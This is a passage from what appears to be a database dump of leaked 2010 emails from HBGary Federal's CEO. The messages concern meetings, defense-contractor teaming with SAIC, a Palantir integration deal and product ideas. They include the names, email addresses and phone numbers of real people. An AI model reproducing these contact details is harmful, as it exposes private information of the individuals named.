in\r\nTysons and brainstorm a bit.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 11:26 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m\r\navailable to get together in person almost all week this week except\r\nThursday.&nbsp; Let me know what works for you and I can come meet you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',963,'aaron_hbgary_com/963.html'),(894,'2010-01-04','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000131.M507211P3547Q895.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DoD Cyber Conferences','I fly to CA on 14th\r\n\r\nDo you want the top ten or what?\r\n\r\n\r\nOn 1/4/10, Aaron Barr  wrote:\r\n> Do you have a list of good cybersecurity conferences?  I am going to be in\r\n> Colorado Springs the week of the 12th?  Your in San Diego then aren\'t you?\r\n>\r\n> Happy New Year\r\n> Aaron\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',4052,'aaron_hbgary_com/4052.html'),(895,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000131.M676009P3547Q896.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','Re: DoD Cyber Conferences','are u going to conference?  Sure top 10-15.\r\n\r\n\r\nOn Jan 4, 2010, at 12:14 PM, steve winterfeld wrote:\r\n\r\n> I fly to CA on 14th\r\n> \r\n> Do you want the top ten or what?\r\n> \r\n> \r\n> On 1/4/10, Aaron Barr  wrote:\r\n>> Do you have a list of good cybersecurity conferences?  I am going to be in\r\n>> Colorado Springs the week of the 12th?  Your in San Diego then aren\'t you?\r\n>> \r\n>> Happy New Year\r\n>> Aaron\r\n>> \r\n>> \r\n> \r\n> -- \r\n> Sent from my mobile device\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16611,'aaron_hbgary_com/16611.html'),(896,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000131.M70772P3547Q893.eml','rich@hbgary.com','Re: Time this week','Phil tells me you guys are meeting with ICE for lunch on Wednesday. &nbsp;So how about we just meet at the Tyson office on Wed after lunch?AaronOn Jan 4, 2010, at 11:53 AM, Rich Cummings wrote:OK that sounds good.On Mon, Jan 4, 2010 at 11:38 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nok. &nbsp;I am meeting Matt O\'Flynn for lunch at an Afghan place in Vienna Wednesday 11:30? &nbsp;Want to come for lunch? &nbsp;We can continue the conversation aftwards? &nbsp;Checking with Phil if he would be interested, then we could just grab some rent a office space after lunch in Tysons and brainstorm a bit.\r\nAaronOn Jan 4, 2010, at 11:26 AM, Rich Cummings wrote:\r\nHi Aaron,\r\n&nbsp;I’m available to get together in person almost all week this week except Thursday.&nbsp; Let me know what works for you and I can come meet you.\r\n&nbsp;\r\nThanks,Rich\r\n&nbsp;&nbsp;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14343,'aaron_hbgary_com/14343.html'),(897,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000131.M868242P3547Q897.eml','\"Robert Higgins\" <higgins.robert@orbital.com>','Demo capabilities','Hi Robert,\r\n\r\nHappy New Year.\r\n\r\nWould you like to set up a demo for defensive and offensive capabilities?  Let me know some good dates.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16493,'aaron_hbgary_com/16493.html'),(898,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000132.M282916P3547Q899.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Possible Opportunity','Begin forwarded message:From: \"Brownfield, Amanda L.\" &lt;AMANDA.L.BROWNFIELD@saic.com&gt;Date: January 4, 2010 12:23:10 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: Possible Opportunity\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,I really appreciate your interest.&nbsp; I have\r\nspoken to my management and we all agree that we cannot make an informed\r\ndecision until we see the actual RFP.&nbsp; If you can wait, I would be happy to\r\ndiscuss further with you at that time.&nbsp; Again, thank you for your time and\r\ninterest in SAIC.&nbsp;Thanks,Amanda&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010\r\n9:10 AM\r\nTo: Brownfield,\r\n Amanda L.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n&nbsp;Hi Amanda,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nand Happy New Year.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStarting back up on leads and want to check in to see if you have made\r\na decision on whether or not there is room for HBGary on the COIN team.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield,\r\n Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11929,'aaron_hbgary_com/11929.html'),(899,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000132.M463648P3547Q900.eml','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','Re: Possible Opportunity','Amanda,Sure, not much any of us can do until then. &nbsp;Thank you for the quick response. &nbsp;As a new leader of a small business I am trying to keep on top of things. &nbsp;But more than that, this work I have a particular interest in.I am partnering with NG Xetron on some other work and will be reclaiming my tickets soon if at some point after that you would like to have a classified discussion. &nbsp;In the meantime I am going to start putting together some whitepapers on some mobile based capabilities I have been mulling over that I think will resonate well with this customer.AaronOn Jan 4, 2010, at 12:23 PM, Brownfield, Amanda L. wrote:\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,I really appreciate your interest.&nbsp; I have\r\nspoken to my management and we all agree that we cannot make an informed\r\ndecision until we see the actual RFP.&nbsp; If you can wait, I would be happy to\r\ndiscuss further with you at that time.&nbsp; Again, thank you for your time and\r\ninterest in SAIC.&nbsp;Thanks,Amanda&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010\r\n9:10 AM\r\nTo: Brownfield,\r\n Amanda L.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n&nbsp;Hi Amanda,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nand Happy New Year.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nStarting back up on leads and want to check in to see if you have made\r\na decision on whether or not there is room for HBGary on the COIN team.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield,\r\n Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen ‘capturing’ it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8094,'aaron_hbgary_com/8094.html'),(900,'2010-01-04','\"Brownfield, Amanda L.\" <AMANDA.L.BROWNFIELD@saic.com>','/aaron@hbgary.com/new/1297000132.M51043P3547Q898.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Possible Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI really appreciate your interest.&nbsp; I have\r\nspoken to my management and we all agree that we cannot make an informed\r\ndecision until we see the actual RFP.&nbsp; If you can wait, I would be happy to\r\ndiscuss further with you at that time.&nbsp; Again, thank you for your time and\r\ninterest in SAIC.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nAmanda\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010\r\n9:10 AM\r\nTo: Brownfield,\r\n Amanda L.\r\nSubject: Re: Possible Opportunity\r\nImportance: High\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Amanda,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nand Happy New Year.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nStarting back up on leads and want to check in to see if you have made\r\na decision on whether or not there is room for HBGary on the COIN team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 2, 2009, at 1:02 PM, Brownfield,\r\n Amanda L. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the information, Mike.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI am very familiar with the opportunity that you are\r\npursuing.&nbsp; Based on our discussions with the customer I believe that\r\nNG/TASC is not in a very good position for its recompete.&nbsp; Given the fact\r\nthat you have left the company I assume this makes their position even\r\nworse?&nbsp; I am the lead division for SAIC (also own digital echo) and have\r\nbeen &#8216;capturing&#8217; it for some time.&nbsp; We do in fact intend to prime and have\r\nbegun our proposal preparation.&nbsp; I would welcome the opportunity to speak\r\nwith you as soon as possible.&nbsp; &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nApril Huffman will need to send you a NDA before we can\r\nmeet.&nbsp; I am on travel next WED thru FRI, and my time before then is very\r\ntight with a proposal resubmit due Tuesday.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI look forward to meeting you,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAmanda L. Brownfield\r\n\r\n\r\n\r\n\r\n\r\nVP/Division Manager\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Analytics and Cultural Research\r\n\r\n\r\n\r\n\r\n\r\nSAIC\r\n\r\n\r\n\r\n\r\n\r\n703-810-8979 office\r\n\r\n\r\n\r\n\r\n\r\n703-862-5614 BB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8815,'aaron_hbgary_com/8815.html'),(901,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000132.M767647P3547Q901.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,','Re: Selling Risk Intelligence','Some initial thoughts.  More to follow.\r\n\r\nI think for the government market Risk will not resonate as well as Threat.\r\n\r\nWhat about the idea of a Shared SOC model where an Active Defense server is in HBGary spaces and an Active Defense client is in the customer spaces with an encrypted link that passes security event data up and network/host security policy changes down?\r\n\r\nAaron\r\nOn Jan 3, 2010, at 3:26 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Guys,\r\n>  \r\n> Attached is my latest revision of thought around selling risk intelligence.  This my best distillation yet, and it contrasts the difference between HBGary and HBGary Federal\'s efforts in the space.\r\n>  \r\n> I can see better how Active Defense and our Digital DNA genomes are going to grow up.\r\n>  \r\n> Comments, refinements, etc all welcome please.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9979,'aaron_hbgary_com/9979.html'),(902,'2010-01-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000132.M963656P3547Q902.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Using google maps as a msg dissem mechanism','Yeah I did, wondered what that was for\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 11:30 AM, Aaron Barr  wrote:\r\n\r\n> Did u get an SMS msg from Google maps?\r\n>\r\n> So you can send email and SMS using Google servers.  Lots of info\r\n> you could pass through those.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7825,'aaron_hbgary_com/7825.html'),(903,'2010-01-04','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000133.M166546P3547Q903.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nDoes 4:30 EST on Wednesday work for you for a half hour conference\r\ncall?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 9:16 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWant to do this this week? &nbsp;I be bringing someone else\r\non to the call that will be handling the integration work.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 7:05 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nName change made.&nbsp; Once signed we should chat about what\r\nthe integration will look like so your developer has some direction.&nbsp; Ill\r\nbring in Geoff Stowe (who you&#8217;ve met) for that discussion.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, December 28,\r\n2009 5:36 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for response. &nbsp;Looking forward to 2010. &nbsp;We\r\nare good to go. &nbsp;If you could change HBGary to HBGary Federal (probably no\r\nbig deal but just to keep things straight), then I will sign and send back.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs for holidays, so far so good.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHappy Holidays,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nComments inline.&nbsp; I hope your holidays were great.&nbsp; Im\r\nnot quite back in the swing of things but will have email access until I get\r\nback on the 3rd.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n24, 2009 12:03 AM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The\r\nsoftware licences will allow us to run more than 1 &quot;copy&quot; of the\r\nPalantir software? &nbsp;Reason being is our split between Sacramento and\r\nEither DC or Colorado Springs.\r\n\r\n\r\n\r\nAbsolutely.&nbsp; You get unlimited\r\ntest and development licenses to put wherever you want.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I\r\nknow Palantir runs on Oracle. &nbsp;Will we need to buy an oracle license or\r\nwill the &quot;trial&quot; license work for our purposes?\r\n\r\n\r\n\r\nYou got this ¾ correct.&nbsp; There\r\nare three &#8220;versions&#8221; of Palantir.&nbsp; One is called a QuickStart which simply\r\nruns on your laptop with a small backend supporting about 10,000 objects.&nbsp;\r\nQS are what developers will use when they are writing the integration (it\r\nallows for quick iterations on code).&nbsp; The second version is run on\r\nwindows using a freely available version of Oracle called Oracle XE\r\n(express).&nbsp; This version is a little more beefy but still runs on one\r\nmachine supporting about 4 GB worth of objects.&nbsp; This is probably the only\r\nform of Palantir you will need to do larger scale tests.&nbsp; The third\r\nversion is basically a mirror of our deployment setup with a linux server\r\nbackend and full oracle install.&nbsp; You will not need this build.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The\r\nvideo. &nbsp;That is to be developed by HBGary Federal?\r\n\r\n\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.&nbsp; Should be like a few hours of work, maybe\r\nless.&nbsp; We need this to send to our clients once the integration is\r\ncomplete and to put up on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal 